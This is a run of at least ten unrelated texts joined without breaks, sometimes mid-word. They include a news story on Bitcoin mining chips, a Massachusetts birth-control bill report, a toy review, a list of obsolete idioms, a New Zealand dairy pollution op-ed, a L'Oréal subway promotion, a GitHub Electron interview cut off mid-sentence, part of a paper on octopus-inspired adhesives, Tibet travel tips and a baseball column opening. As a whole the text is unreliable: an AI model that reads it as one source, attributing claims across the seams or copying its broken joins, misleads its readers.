In a key twist that keeps inflation in check, the difficulty of the cryptographic math that leads to newly minted coins grows as more computers join the network.
That has led some technology professionals to target a new market in souped-up computers and specialized chips aimed at the growing ranks of Bitcoin “miners.”
Consider Ravi Iyengar, who first heard of Bitcoins about six months ago. Since then he has quit his job as a senior chip architect at Samsung Electronics and raised $1.5 million to launch CoinTerra. He says he has already pre-sold more than $5 million worth of the hardware he has designed for Bitcoin mining.
“I’ve been in arms races throughout my career - AMD, ARM, Intel,” said Iyengar, referring to prominent semiconductor companies, “but none of them match the intensity of Bitcoin mining. Each month in Bitcoin mining is like a year.”
PERISHABLE SILICON
Little is known about exactly who started Bitcoin, but the concept was introduced in a 2008 paper written under the pseudonym Satoshi Nakamoto. Since then, Satoshi Nakamoto has become sort of a patron saint among advocates pushing for Bitcoins as an alternative to national currencies.
Bitcoin is not backed by physical assets, is not run by any person or group, and its value depends on people’s confidence in the currency. The dollar price of Bitcoins has spiked over the past year as more people became aware of the currency and speculators jumped into the market, which remains highly volatile. Bitcoin recently broke $200, compared to $12 a year ago.
The goal of Bitcoin miners is to pull in more than what they spend on their rigs - some cost over $20,000 - and the electricity they need to keep the machines running 24 hours a day.
That is no easy feat. In the past three months, miners added so much gear with drastically improved chips that processing power on the network jumped from 289 terahashes per second to more than 4,000 terahashes per second, according to The Genesis Block, a blog that collects Bitcoin data.
In reaction, the network drove up the difficulty of verifying each cryptographic block of transaction data, making it even harder to break even on investments in costly mining gear.
“Bitcoin makes silicon perishable,” said Andreas Antonopoulos, a digital currency entrepreneur in San Francisco. “Your mining rig rots away in front of your eyes every day you have it.”
It has become so hard to make a profit that comparisons to the 19th century California gold rush, when money was often made selling shovels to naive prospectors, have become a running joke among Bitcoin miners.
“It’s the guys who sell the equipment who are making the money, not the Bitcoin miners,” said Jackson-Wilde, a manager at a company that makes motorcycle batteries.
CoinTerra believes spending on new Bitcoin mining chips could easily hit $100 million a year for the next three years, assuming no change in prices. While that is peanuts for large semiconductor companies like Intel Corp and Qualcomm Inc, it is a lucrative market for a handful of small developers.
About 11.9 million Bitcoins, worth $2.4 billion at recent prices, have been minted since the currency began circulating. Based on recent activity, the network is on track to create around 1.4 million new Bitcoins annually over the next three years, the equivalent of more than $280 million a year at recent exchange rates.
Reflecting growing competition, Jackson-Wilde says his gear - which features model names like Erupter, Jalapeno and Spartan - now pulls in a tiny fraction of the Bitcoins it used to, but he expects another $10,000 worth of next-generation equipment to put him in the black.
Despite the expenditures, he considers himself a hobbyist committed to supporting the Bitcoin network rather than a serious digital-currency investor.
“Buying and selling Bitcoins is enticing, but it’s not as enticing as being part of it and actually having hardware,” he said.
HOBBY STATE
Mining with a simple laptop PC was easy back in 2009, when the fledgling Bitcoin network was a fraction of its current size. But within a year, hobbyists found that graphics chips, often referred to as GPUs and widely used by PC gamers, could provide a major boost in mining output.
Miners cobbled together dozens of graphics chips in their garages and basements, surrounded by fans to keep the electronics from overheating.
Then in 2010, entrepreneurs caught wind. Jeff Ownby and a handful of colleagues had just formed Butterfly Labs with the goal of using off-the-shelf programmable chips, known as FPGAs, to help banks run complex financial risk simulations.
“As we were starting down the road planning this, we read about Bitcoin and said ‘Wow, this is exactly what we’re trying to do here,’” Ownby said. “It was pretty much in a hobby state, so we thought this might be something.”
Butterfly Labs and other startups optimized FPGAs, which are more typically used in factories and telecommunications gear, to work efficiently on the Bitcoin network.
In 2012, the Bitcoin arms race escalated again when Butterfly Labs and rivals, all with little or no semiconductor engineering experience, started designing chips from the ground up. Custom chips, known as application specific integrated circuits (ASICs), are normally made by companies focused on high-volume products like televisions - not startups making small batches of digital mining devices.
“They’re the Wild West,” said John Cheng, head of California based-Custom Silicon Solutions, which helped Butterfly Labs design and manufacture its ASIC. “There’s a certain rhythm you’re used to in the chip business. It’s usually two or three years before your ramp, but these guys wanted to ramp in six months.”
Butterfly Labs said on Thursday it recently took a downpayment for new mining gear in Bitcoins equivalent to $1 million, the largest-ever transaction in the digital currency. It identified the customer as HashTrade, a company selling contracts for cloud-based Bitcoin mining run in data centers.
David Johnston, executive director of BitAngels, an investment group, says consolidation in Bitcoin mining is well underway.
“Mining has been going through these different generations and going up a learning curve, from amateurs running CPUs and GPUs to new professionally funded companies with experienced chip designers taking it to the state of the art,” Johnston said.
Slideshow (5 Images)
Still, there remain plenty of oddities in the Bitcoin mining business. Johnston cited ASICMiner, which both sells mining rigs and runs its own mining operations, as one of the largest and most respected operators. The company has even sold stock to online investors who paid in Bitcoins.
ASICMiner recently had a market value equivalent to $50 million, according to data on the BitFunder online exchange.
But few know where the company is located, or even who is in charge. The chief executive communicates through web forums under the pseudonym “Friedcat.”House lawmakers Wednesday overwhelmingly approved a bill that would ensure access to free birth control in the state and shield state residents from changes to federal law regarding contraceptive coverage requirements.
The bill is headed to the Senate after the 138-16 vote.
The measure includes a provision requiring health insurers to continue offering coverage — without co-payments — for prescription contraceptives regardless of changes in federal policy or any future repeal of the federal Affordable Care Act.
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The legislation brings Massachusetts a step closer to becoming the first state in the nation to pass a law that “protects and expands access to contraception after the Trump administration’s interference with contraceptive coverage mandate in the Affordable Care Act,” said Rebecca Hart Holder, executive director of NARAL Pro-Choice Massachusetts, in a statement.
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“We applaud the House’s leadership on this critical issue,” she said. “We urge the Senate to take up legislation as soon as possible.”
Supporters of the bill anticipate the state Senate swiftly passing the proposal. Johanna Kaiser, a Planned Parenthood spokeswoman, said the bill has 29 state Senate co-sponsors.
In a statement, Lizzy Guyton, a spokeswoman for Governor Charlie Baker, said the administration “fully supports access to women’s health and family planning services, is prepared to protect access to those services, and will carefully review any final legislation that reaches the governor’s desk.”
The decision comes about a month after the Trump administration issued a rule that undermines a federal contraception coverage mandate. That new regulation could mean many women would no longer have access to free birth control.
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State law has long required insurers to provide birth control coverage, but not without copayments. The Affordable Care Act, also known as Obamacare, five years ago required private insurers to provide free contraception.
The bill passed by state legislators would build on the federal protections and also remove existing barriers to care and improve access to contraception for women in the state, according to a statement from Planned Parenthood.
“Today, the Massachusetts House of Representatives made clear that birth control access is not up for debate in Massachusetts,” said Dr. Jennifer Childs-Roshak, president of the Planned Parenthood Advocacy Fund of Massachusetts.
Material from the Associated Press, the Washington Post, and Globe staff reporter Stephanie Ebbert was used in this article. Danny McDonald can be reached at daniel.mcdonald@globe.com. Follow him on Twitter @Danny__McDonaldFunko My Chemical Romance Pop! Rocks Black Parade Gerard Way Vinyl Figure Hot Topic Exclusive Pre-Release is rated 5.0 out of 5 by 21.
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Rated 5 out of 5 by theoddone from Quality product for any MCR fan or collector. This Pop! figure is perfect for anyone who either has a collection of Funko Pop! figures, or is simply an MCR fan hoping to spice up their space. He stands well on his own, and even the smallest details on his jacket are perfect. Though like seemingly every Pop! figure, the plastic under his head where his neck is attached is a different color than the rest of his body. At first glance however, it's definitely not noticeable and doesn't make the product look unpleasant to the eye.This is a list of idioms that were recognizable to literate people in the late-19th century, and have become unfamiliar since.
As the article list of idioms in the English language notes, a list of idioms can be useful, since the meaning of an idiom cannot be deduced by knowing the meaning of its constituent words. See that article for a fuller discussion of what an idiom is, and what it is not. In addition, the often-obscure references or shared values that lie behind an idiom will themselves lose applicability over time, although the surviving literature of the period relies on their currency for full understanding.
A [ edit ]
Abbot of Misrule – Lord of Misrule
– Lord of Misrule admirable doctor – Roger Bacon
– Roger Bacon Attic bee – Sophocles, from the sweetness and beauty of his productions
B [ edit ]
bidding prayer – an exhortation to prayer in some special reference, followed by the Lord's Prayer, in which the congregation joins
– an exhortation to prayer in some special reference, followed by the Lord's Prayer, in which the congregation joins blue-gown – a beggar, a bedesman of the Scottish king, who wore a blue gown, the gift of the king, and had his license to beg
– a beggar, a bedesman of the Scottish king, who wore a blue gown, the gift of the king, and had his license to beg bonnet-piece – a gold coin of James V of Scotland, so called from the king being represented on it as wearing a bonnet instead of a crown
– a gold coin of James V of Scotland, so called from the king being represented on it as wearing a bonnet instead of a crown Brown, Jones, and Robinson – three middle-class Englishmen on their travels abroad, as figured in the pages of Punch
C [ edit ]
chicard – French loanword; the harlequin of the French carnival, grotesquely dressed up
Circumlocution Office – a name employed by Charles Dickens in his serial novel Little Dorrit (1855–1857) to designate wearisome government bureaucracy
– a name employed by Charles Dickens in his serial novel (1855–1857) to designate wearisome government bureaucracy Cockney school – an epithet, originally abusive, for the second generation of Romantic writers, centred on Leigh Hunt, of whom John Keats is the most famous, as centred in London, and by implication lower-middle-class; revived by a school of London working-class writers in the 1890s
– an epithet, originally abusive, for the second generation of Romantic writers, centred on Leigh Hunt, of whom John Keats is the most famous, as centred in London, and by implication lower-middle-class; revived by a school of London working-class writers in the 1890s comity of nations – the name given for the effect given in one country to the laws and institutions of another in dealing with a native of it; see extraterritoriality
– the name given for the effect given in one country to the laws and institutions of another in dealing with a native of it; corn-cracker – the nickname of a Kentucky man; pejorative
– the nickname of a Kentucky man; pejorative corpuscular philosophy – the philosophy which accounts for physical phenomena by the position and the motions of corpuscles
– the philosophy which accounts for physical phenomena by the position and the motions of corpuscles Cincinnatus of the Americans – George Washington, after the original Roman Cincinnatus
– George Washington, after the original Roman Cincinnatus Conscript Fathers – translates from the Latin Patres Conscripti, a term for members of the Roman Senate
D [ edit ]
diamond necklace – specifically, the one belonging to Marie Antoinette
– specifically, the one belonging to Marie Antoinette Dircaean swan or Dircæan swan – Pindar, so called from the fountain Dirce, near Thebes, his birthplace
F [ edit ]
Faggot vote – a vote created by the partitioning of a property into as many apartments as will entitle the holders to vote
– a vote created by the partitioning of a property into as many apartments as will entitle the holders to vote First Gentleman of Europe – George IV of the United Kingdom, from his fine style and manners
– George IV of the United Kingdom, from his fine style and manners Federal Union – generally any union of states in which each state has jurisdiction in local matters, such as the United States
G [ edit ]
H [ edit ]
hectic fever – a fever connected with tuberculosis, and showing itself by a bright-pink flush on the cheeks
– a fever connected with tuberculosis, and showing itself by a bright-pink flush on the cheeks horn gate – the gate of dreams which come true, as distinct from the ivory gate, through which the visions seen are shadowy and unreal
I [ edit ]
in-and-in – breeding of animals from the same parentage; also an old two-dice game, where "in" is a double and "in-and-in" is double doubles, which sweeps the board
– breeding of animals from the same parentage; also an old two-dice game, where "in" is a double and "in-and-in" is double doubles, which sweeps the board Island of Saints – a poetic name given to Ireland in the Middle Ages
– a poetic name given to Ireland in the Middle Ages Ivan Ivanovitch – a term invoking a lazy, good-natured Russian
J [ edit ]
Jack Brag – a pretender who ingratiates himself with people above him
O [ edit ]
The Open Secret – the secret that lies open to all, but is seen into and understood by only few, applied especially to the mystery of the life, the spiritual life, which is the possession of all (Thomas Carlyle)
P [ edit ]
passing-bell – a bell tolled at the moment of the death of a person to invite his neighbours to pray for the safe passing of his soul; see death knell
– a bell tolled at the moment of the death of a person to invite his neighbours to pray for the safe passing of his soul; penny wedding – a wedding at which the guests pay part of the charges of the festival
– a wedding at which the guests pay part of the charges of the festival persiflage – a light, quizzing mockery, or scoffing, especially on serious subjects, out of a cool, callous contempt for them
– a light, quizzing mockery, or scoffing, especially on serious subjects, out of a cool, callous contempt for them Peter Bell – a simple rustic (William Wordsworth).
– a simple rustic (William Wordsworth). petite nature – a French loanword applied to pictures containing figures less than life-size, but with the effect of life-size
– a French loanword applied to pictures containing figures less than life-size, but with the effect of life-size pot-wallopers – a class of electors in a borough who claimed the right to vote on the ground of boiling a pot within its limits for six months
– a class of electors in a borough who claimed the right to vote on the ground of boiling a pot within its limits for six months pourparler – a diplomatic conference towards the framing of a treaty
– a diplomatic conference towards the framing of a treaty Punic faith – a promise that one can put no trust in. From Latin punica fides, alluding to Roman mistrust of Carthage
R [ edit ]
revival of letters – a term for literary aspects of the Renaissance, specifically the revival of the study of Greek literature
T [ edit ]
The Temple of Immensity – the universe as felt to be in every corner of it a temple consecrated to worship in
– the universe as felt to be in every corner of it a temple consecrated to worship in Tom & Jerry – a pair of young men about town from the play Tom and Jerry, or Life in London (1821), by William Thomas Moncrieff, which was very successful in England and the United States in the 1820s, based on the newspaper column by Pierce Egan
See also [ edit ]
References [ edit ]
Wood, James, ed. (1907). The Nuttall Encyclopædia. London and New York: Frederick Warne.Too many environmental advocates are ignoring the impressive effort and big money being put into effluent management research and infrastructure in the wake of the Fish and Game New Zealand's ''Dirty Dairying'' campaign.
The campaign made water quality the top priority environmental issue in New Zealand. It was a wake-up call for the farming industry, but let's be honest, changes in attitude always take time, especially when they require spending your own money.
If you consider farmers slow to change, reflect on how long it has taken ratepayers in many towns to accept paying higher rates for sewerage systems that don't pollute the local rivers.
So what have farmers, with strong support from regional councils and the wider industry, done to help clean up waterways? They have fenced off waterways, implemented sustainable nutrient management plans, upgraded their effluent systems, established wetlands, planted trees and supported research through the levy they pay.
The Garrett family, who dairy farm 1200 cows on a 440ha block near Lake Ellesmere in Canterbury, provide a great example of the big money being pumped into environmental sustainability. They were recently awarded the Diana Isaac Cup for their native tree plantings along Boggy Creek that improved the health and clarity of the waterway. They have seen production increase 40 per cent and nitrogen leaching drop from 16-18 kilograms loss to groundwater per hectare to 6-8 kilograms since constructing a free stall barn two years ago to house 900 cows during winter and applying effleuent over the farm, instead of bought-in fertiliser.
In most areas, nitrate leaching into waterways is the most difficult water quality problem to solve. The impact of urine from livestock is the main issue. The nitrogren concentration in cow urine is too high for pasture to use. Each urination applies approximately 800 kilograms of nitrogen per hectare to the pasture patch it creates.
Some of that nitrogen moves through the soil as nitrate. In soils with artificial drainage systems, this nitrate is conducted directly to streams and rivers. In free draining soils, the nitrate moves downwards and enters the water table and then into the waterways. These processes are called leaching and can take place over a few hours or decades. So how might research help with this long term and important problem?
We are seeing rapid technological innovation in hyperspectral soil mapping, filters, pumps and robotics that will provide farmers with even better tools for preventing nutrients leaving the farm in the future. The the continued funding of this research is critical in order to develop future farm systems that further decrease nutrient loss and faecal microbe pollution.
There are currently four large scale farm system experiments being conducted across Waikato, Manawatu, Canterbury and South Otago, funded by the Pastoral 21 consortium of farming and research organisations. The key objective is to decrease nitrate leaching while improving profitability.
Dairy NZ's Scott Farm in Hamilton is focused on milk production, Canterbury's Lincoln University, farming systems and stocking rates, South Otago's Telford Farms Dairy Unit, winter crop feeding and indoor wintering, while Massey University is researching free stall cow barns, grazing and effluent management systems.
Cows at Massey’s agricultural experiment station are being grazed for the minimum time required to obtain their daily feed intake and are then moved to a cow shelter.
Dung and urine is captured in the cow shelter, stored in a pond and then applied to the pasture at a rate low enough for pasture to use the nitrogen. Early results have shown the system decreases nitrate leaching by as much as 50 per cent and provides an extra 130 kilograms per hectare of nitrogen for pasture growth that otherwise would have been lost from the farm.
The problem is, this infrastructure doesn’t come cheap. A cow shelter costs about $5000 per cow and a modern effluent system costs around $1000 per cow.
However, research is also being conducted into whether the cost is covered by the increased pasture and milk production.
Farmers are now spending large sums of money managing nutrient losses from their farms and also supporting research on environmentally sustainable farm systems.
So yes, farmers were too slow to recognise it was time to change their farming systems but they are changing.
* Peter Kemp is head of Massey University's Institute of Agriculture and Environment.REMEMBER the vending machines in New York City subway stations, even on platforms? (O.K., maybe not, as it was decades ago.) Among the products straphangers could buy were cigarettes, candy and gum; there were also scales proclaiming, “Horoscope and weight 1¢.”
The beauty giant L’Oréal wants to revisit that era in a high-tech way with a project it is sponsoring inside the 42nd Street-Bryant Park station from Monday through Dec. 30. Passers-by will see screens and a mirror that use cameras and sensors to recommend women’s cosmetics bearing the L’Oréal Paris brand name, which can then be purchased.
The project, called the L’Oréal Paris Intelligent Color Experience, is being described by the participants as an entry in the realm of interactive shopping outside of traditional stores. It is another example of a trend known as experiential marketing, which seeks to give brands more tangible form beyond retail shelves.
The goal is a “real-life experience through technology,” said Marc Speichert, chief marketing officer at the L’Oréal Americas unit of L’Oréal. “If this experiment is successful, we might bring it to other places.”GitHub moved away from the native implementations of its macOS and Windows clients and replaced them with a complete rewrite based on Electron, announced GitHub’s director of client applications Phil Haack. Along with GitHub Desktop Beta, GitHub has also introduced a new beta of Atom sporting out-of-the-box Git and GitHub Integration.
As the team behind the rewrite explained, the key reason for GitHub to rebuild their desktop client from scratch was minimizing the cost of supporting multiple platforms. Indeed, developing native apps for Windows and macOS required using two completely different stacks, which meant having to implement, debug, and maintain each feature twice. Similarly, adding support for a third platform like Linux would have required a separate effort.
As it turns out, building native apps for multiple platforms doesn’t scale.
The GitHub team quickly converged on basing their new app on Web technologies, specifically Electron and TypeScript. Among the advantages of using Web technologies, the code-build-run cycle went down from minutes to seconds, with code changes reloading in place and the possibility of live-tweaking their design. Yet, using Web technologies to build desktop apps is not without its own set of limitations and constraints:
The web isn’t a perfect platform, but native apps aren’t built on perfect platforms either. Rewriting on Electron does mean swapping one set of trade-offs for another.
This is where using Electron paid off, explain the developers, since it gave them the chance to tweak things by extending Electron on top of the platform-specific API.
After about one year of development, the new Electron-based client can be now downloaded or forked. InfoQ has spoken with Phil Haack to learn more about their commitment to Electron.
Since its introduction, Electron has been chosen as the foundation for many notable apps. How would you describe the role Electron plays in the current arena of solutions to write cross-platform code solutions?
Phil Haack: Electron leverages the success of the web becoming a first-class platform; over time, Electron and the web are headed in the same direction, just from opposite ends. The fact that users can leverage folks with web-technology skills to build desktop apps is part of Electron’s success.
There has been a rather heated discussion recently on Reddit where Electron was dubbed “Flash for Desktop” — mostly due to its memory requirements and performance. What arguments would you propose to developers that are critical of Electron to better understand why it is an important technology?
Haack: As I mentioned before, Electron has hitched its wagon to the success of web technologies as a platform. As Chromium, Node, JavaScript, |
(Supplementary Fig. 1).
To investigate the adhesive performances of different structural features, we made four dissimilar microstructures: OIAs, perforated cylinders, cylindrical pillars and cylindrical holes (Fig. 2a). We collected adhesion measurements in the normal direction with a silicon-wafer substrate, using custom-built equipment at room temperature (see Methods and Supplementary Fig. 2). Figure 2b shows representative time-dependent profiles of the adhesion forces created by the differently shaped adhesives, using a preload of 35 kPa in dry conditions: after applying this preload by pressing (for five seconds), we obtained the adhesion force in the normal direction by detaching the samples from the substrate (see Methods for details).
Figure 2: Measurements of adhesion forces for different architectures and different conditions, and use of the OIA adhesive for clean transportation under water. a, Diagrams and SEM images of four different adhesive architectures: OIAs, perforated cylinders, cylindrical pillars and cylindrical holes. Scale bars: insets, 10 μm; main images, 100 μm. b, Representative time-dependent profiles of the adhesion forces for different architectures, with a preload of 35 kPa on a silicon substrate under ambient conditions. c, Adhesion strengths of the various structures (radius 50 μm in c–g) with a preload of 35 kPa. d–g, Adhesion profiles for different preloads (10–35 kPa) and different surface conditions: d, dry, e, moist; f, under water; and g, under oil. h, Pull-off adhesion forces for OIAs of different radii (15 μm, 50 μm, 150 μm and 500 μm) and for a non-patterned sample. i, Repeatable adhesion of the OIA adhesive after more than 10,000 cycles of attachment and detachment. Error bars represent standard deviations (for c–i; N = 10). j, Images showing the transport of a large-area wafer using an OIA patch in underwater and ambient conditions. Full size image Download PowerPoint slide
To better understand the adhesion behaviour in wet and dry conditions using different preloads (10–35 kPa; Fig. 2c–g), we created four different situations involving silicon substrates: dry conditions (with a relative humidity of about 50%); moist conditions (in which an average of 42% of the silicon area was covered by water droplets; Supplementary Fig. 3); underwater conditions; and under-oil conditions (Fig. 2d–g, insets). The maximum applied preload was 35 kPa. We found that high locking forces under these different conditions were enabled by the establishment of numerous tiny contacts between the densely populated, regularly ordered artificial OIAs and the various wet and dry surfaces. Figure 2d–g shows that the adhesive patch comprising OIA arrays exhibited an especially rapid increase in its adhesion forces as the preload increased in the dry and wet conditions. We attribute this phenomenon to the particular capillary and elastic behaviour of the structurally deformed suction effects modulated by the loads. The mechanisms underlying this particular elastic behaviour will be discussed later.
Next, we measured the adhesion strengths in the normal direction for OIAs of different radii (15 μm, 50 μm, 150 μm or 500 μm; Fig. 2h, insets), using a preload of 35 kPa, in order to better understand the suction-locking behaviour at different scales. Unlike the situation with single OIAs of each radius (15 μm, 50 μm, 150 μm or 500 μm), a densely populated array of many 50-μm OIAs exhibited higher adhesion forces than did arrays of 15-μm, 150-μm and 500-μm structures under dry and wet conditions (Supplementary Table 1). These results are in good agreement with our prediction of the suction differentials in the array as a function of volume and density. In addition, the normal adhesion forces of the 50-μm OIA sample increased noticeably when exposed to wet or oily conditions (with adhesion forces of around 37 kPa in moist conditions, 41 kPa under water, and 154 kPa under silicone oil); the other arrays of different radii (15 μm and 150 μm) behaved rather similarly as the preload increased (10–35 kPa) (Extended Data Fig. 2). (Under normal/shear adhesion forces, this 50-μm OIA sample also displayed high hysteresis, up to a maximum of around 20 under water; ‘hysteresis’ refers to the ratio of normal and shear adhesion forces, being 40 kPa and 2 kPa, respectively, in this case; see Fig. 2c and Supplementary Fig. 4.) For the under-oil condition, the dramatic increase in the adhesion strength of the OIA array can be attributed to the high viscosity of the oil molecules. Interestingly, we observed maximum pull-off forces of 180 kPa under silicone oil when using biologically inspired arrays with OIA radii of 15 μm. Notably, the OIA arrays were resistant to stretch and still highly adhesive after more than 10,000 cycles of attachment and detachment (Fig. 2i).
To demonstrate a practical application of this wet adhesive, we achieved contamination-free transport of a large, eight-inch silicon wafer using an s-PUA-based adhesive (1.3 cm × 1.3 cm), confirming that the adhesive can be used for reversible and directional transfer and requires only a peeling-off technique to break the suction pressure (Fig. 2j and Supplementary Videos 1–3). When producing semiconductors, a thin wafer must be accurately transported under wet or dry conditions without surface contamination. At present, a robotic vacuum-switchable suction and electrostatic chuck are used, but these techniques are expensive and might lead to surface damage because of the high mechanical forces applied. Although a gecko-inspired adhesive has been reported for clean transportation17, it is not applicable in wet conditions. Acrylic-based chemical adhesives and silicone-based polymer materials leave fine traces of contamination or dirt on the surface of a wafer during transportation, but we found no such contamination with our s-PUA-based OIA adhesive (see Methods, Extended Data Fig. 3 and Supplementary Fig. 5). Thus, our octopus-inspired adhesive could be used in holding systems under the various wet and dry conditions involved in fabricating semiconductors, enabling directional adhesion without fouling by sticky materials.
Using our artificial OIA adhesives, we propose a simple methodological model, beyond the existing anatomical hypothesis12,14, for the mechanisms underlying the adhesion of the protuberances in octopus suckers to wet surfaces. In our model, the dome-like architecture of the OIAs, which mimics the anatomical morphology of an octopus protuberance, is essential for the structure’s unusual adhesion performance in wet conditions, because it is optimal for generating a cohesive force among liquid molecules without energy consumption. Specifically, the overall normal adhesive stress (σ o,wet ) created by the molecular interactions between the OIA array and the wet solid surface can be expressed as the sum of the suction force (σ s,wet ) and the capillary force (σ c ): σ o,wet = σ s,wet + σ c. As shown in Fig. 3a, the mechanical interlocking achieved by the OIAs should occur via a series of three steps. First, when the OIAs are brought into contact with a solid wet surface by an applied load, the initial volume of the OIA chamber gradually decreases, minimizing the number of liquid molecules inside the orifice (see stage I in Fig. 3a and data in Fig. 3b, c). Second, the OIA chamber is then—because of its elastic, contractive nature—squeezed until the dome-like microstructure and the adjacent sidewalls are in contact (stage II of Fig. 3a and cross-sectional optical image of Fig. 3b). Because of this elastic deformation, the OIA chamber can now be separated into upper (C 1 ) and lower (C 2 ) chambers, leading to capillary action within them. This capillary force drains the residual liquid towards chamber C 1. Third, after removing the external load, the cohesive forces of the liquid molecules close chamber C 1 (stage III in Fig. 3a, and Fig. 3d). After the upper chamber, C 1, is filled with liquid molecules, elastic relaxation can induce an extremely low pressure in the lower chamber, C 2, relative to the ambient pressure (ΔP 0 ) (nearly creating a vacuum state, )14.
Figure 3: Mechanisms underlying OIA attachment under wet conditions. a, Model for OIA attachment. Stage I, the OIA is brought into contact with a substrate through an applied preload (F p ). t is the depth of the OIA cavity; r 0 is the initial radius of the artificial dome; R is the radius of the OIA. Stage II, the OIA chamber deforms, minimizing the number of liquid molecules within. D a is the vertical displacement caused by contraction of the OIA. Stage III, the OIA chamber separates into two, an upper chamber (C 1 ) and a lower chamber (C 2 ). F elastic is the restoring elastic force of polymeric materials; h is the height of the liquid film. b, Cross-sectional optical-microscope images of an OIA on a wet surface, showing stages I and II. c, d, Confocal fluorescence images of stage I (c) and stage III (d, left), showing how liquid molecules are drawn into and trapped within the upper chamber (C 1 ) after the attachment process is complete. The inset in d, left panel, shows the lower chambers (C 2 ) coated with liquid molecules. The right-hand panels in d are fluorescence images of stage III in top and side views, showing the trapped liquid in a ring shape. Units are micrometres. The OIA shown in b–d has a radius of 150 μm. e–h, Predicted and experimental adhesion strengths of OIA adhesives (radius 50 μm) made with s-PUA or PDMS, with different preloads, and in either wet or dry conditions. Error bars represent standard deviations (N = 10). Full size image Download PowerPoint slide
To confirm these liquid-assisted suction effects, we monitored the passive behaviours of our OIA adhesives (radius 150 μm) by confocal fluorescence microscopy, using water mixed with a fluorescent material (long-chain dialkylcarbocyanine). In our model, the enhanced suction differential (σ s,wet ) can be explained through the deformation of the OIA chambers in different states (Fig. 3d). The upper C 1 chambers are filled with liquid molecules (Fig. 3d, white arrows, and Supplementary Fig. 6), while the lower C 2 chambers are coated with a thin liquid layer, thereby improving adhesion via capillary bridges (σ c ) while preventing air leakage (inset of Fig. 3d, left panel). The suction stress (σ s,wet ) induced by the capillary-assisted pressure drop in the lower chambers can be described as follows: where r is the radius of the contact area of the deformed dome-like architecture after it is brought into contact with a surface under an applied load; κ is the yield of OIAs (around 0.97 for a radius of 50 μm; Supplementary Fig. 1); and n is the number of OIAs per unit area (5 × 103 cm2 for a radius of 50 μm). As shown in Fig. 3a, r can be determined from the following geometric description of the OIAs:. Here, D a is the vertical displacement caused by the contraction of the OIA; l is the initial distance between the tip of the dome-like architecture and the substrate (about 9 μm for a radius of 50 μm); and R is the radius of the OIA (here, 50 μm). Assuming an axisymmetric peeling of the elastic membrane18, the preload-dependent, capillary-assisted suction stress in wet adhesion (σ s,wet ) can be expressed as competition between the material properties and the geometric parameters: Here, E is the elastic modulus of the polymeric materials (for s-PUA, this is about 1.5 MPa; for polydimethylsiloxane (PDMS), another polymer that we used to create OIAs so as to analyse their adhesion mechanism, E is about 0.1 MPa). In addition, t is the depth of the octopus-inspired cavities; υ is the Poisson’s ratio of the polymeric materials (s-PUA, 0.3; PDMS, 0.5); F p is the applied preload; and r 0 is the radius of the artificial dome. Because the adhesive was fixed on a wet surface, the capillary stress (σ c ) between the OIAs and the solid surface can be estimated from Young’s Laplace equation (see Supplementary Information for details)19. This model, which is based on a combination of the liquid-assisted suction stress and the capillary-mediated stress in the OIA, accurately predicts the overall wet adhesion strengths (σ o,wet ) of our biologically inspired OIA arrays (radius 50 μm) with different preloads (10–35 kPa), as confirmed by the experimental observations shown in Fig. 3e, f.
By contrast, the adhesion force on a dry surface (σ o,dry ) can be estimated as the sum of the suction stress on dry surfaces (σ s,dry ) under ambient conditions and the van der Waals force (σ vdW ) (see Supplementary Figs 7, 8 and Supplementary Information). The theory of suction stress in ambient conditions is well established20 and is based on a simple volumetric change resulting from deformational behaviours. Figure 3g, h plots the overall dry adhesion forces found both experimentally (red lines) and theoretically (blue lines) for different preloads (10–35 kPa); the theoretical results agree well with the experimental measurements.
Our octopus-inspired adhesives might be useful when applied over skin or a wound. To examine their adhesion to rough skin, we first fabricated PDMS patches (comprising OIAs loaded with phosphate-buffered saline (PBS); OIAs without PBS; and non-patterned and non-loaded adhesives) and then measured the adhesion forces when they are pulled off or peeled off from pigskin, which has microscale undulations of several micrometres (Supplementary Figs 9, 10 and Supplementary Information)21. Interestingly, for the patches in which the OIAs were already loaded with liquid PBS, a low preload of 10 kPa was enough to achieve a high conformal attachment (about 25 kPa; Fig. 4a) with pulling-off (the adhesion hysteresis in normal/peeling off strength was about 67; Fig. 4b). Our patches of PBS-loaded OIAs could be applied over a wound, and so partially assist with wound healing (see Supplementary Figs 11–13 and Supplementary Information). We note that our PDMS patches promoted wound healing less well than did 3M Tegaderm, but we are investigating stem-cell and drug-loading approaches to improve their practical utility.A roundup of basic travel advice offered by travel and fair-trade consultant Marion Chaygneaud-Dupuy of Global Nomads.
• There are a lot of small chapels that are not very well-known which are as interesting as the big touristic spots like Potala or Jokhang—so, combine the very touristic spots and the smaller chapels and the small Muslim streets in Lhasa. And go out of Lhasa, take a one-day hike, to see rural life. It's a totally different lifestyle from the city to the countryside
• Prepare at least one month in advance. It takes approximately two weeks to obtain a Chinese visa (if coming from abroad) and Tibet permit.
• Spring and autumn are the nicest times to travel to central Tibet, while summer is also good for traveling to the Tibetan areas of Sichuan, Gansu, Qinghai, and Yunnan—logistically, these areas are often easier to travel to than the Tibet Autonomous Region.
• The Chengdu-Lhasa or Beijing-Lhasa train is a nice way to travel to Tibet. It's a slow and nice way to acclimate, and you can see a lot of the landscape and have time to think about why you are going there
• Be prepared to face physical challenges—minor symptoms of high altitude sickness can include headaches, sleeplessness, nausea, vomiting, accelerated heart rate.If someone is willing to overcome the first difficulties with the acclimation then there should be no problems with getting along with the altitude.
• To allow your body to adjust to the high altitude drink a lot of water, and sleep and eatwell for the first few days. Avoid any taxing physical exertion during this time.
• While climbing, descend before sleeping.
• Rescue and safety equipment for trekking above 5,000 meters is strongly recommended.
• Common activities enjoyed by both travelers and locals alike are drinking milk tea, picnicking, and bird and animal-watching. Wildlife on the plateaus includes antelopes, donkeys, yaks, foxes, and brown bears.
• Popular souvenirs sold in Tibet include jewelry (beware of fake turquoise); bags, carpets, blankets, and tents made out of yak-hair felt; and yarns for hand knitting (both dark red sheep wool and yak wool).
This article was first published in CHENGDOO citylife Magazine, issue 46 ("holiday"). Photos courtesy by Marion Chaygneaud-DupuyJoe Starkey is a columnist for the Pittsburgh Tribune-Review and an afternoon host on 93.7 The Fan in Pittsburgh. Follow him on Twitter: @JoeStarkey1
(CNN) -- Clint Hurdle had lost his mind. What other explanation made sense, after the man chose the Pittsburgh Pirates when he might have been manager of the New York Mets?
The Pirates?
That once-proud franchise had just suffered through its 18th straight losing season, a record for professional sports teams in North America and perhaps any other continent. The Pirates were a blight on the "City of Champions." Kids were heading off to college with no memory of watching a winning baseball team.
If you asked a Pittsburgher to talk Steelers or Penguins, he'd stay all day. Bring up the Pirates, he'd walk away.
SI: Sports' perennial losers
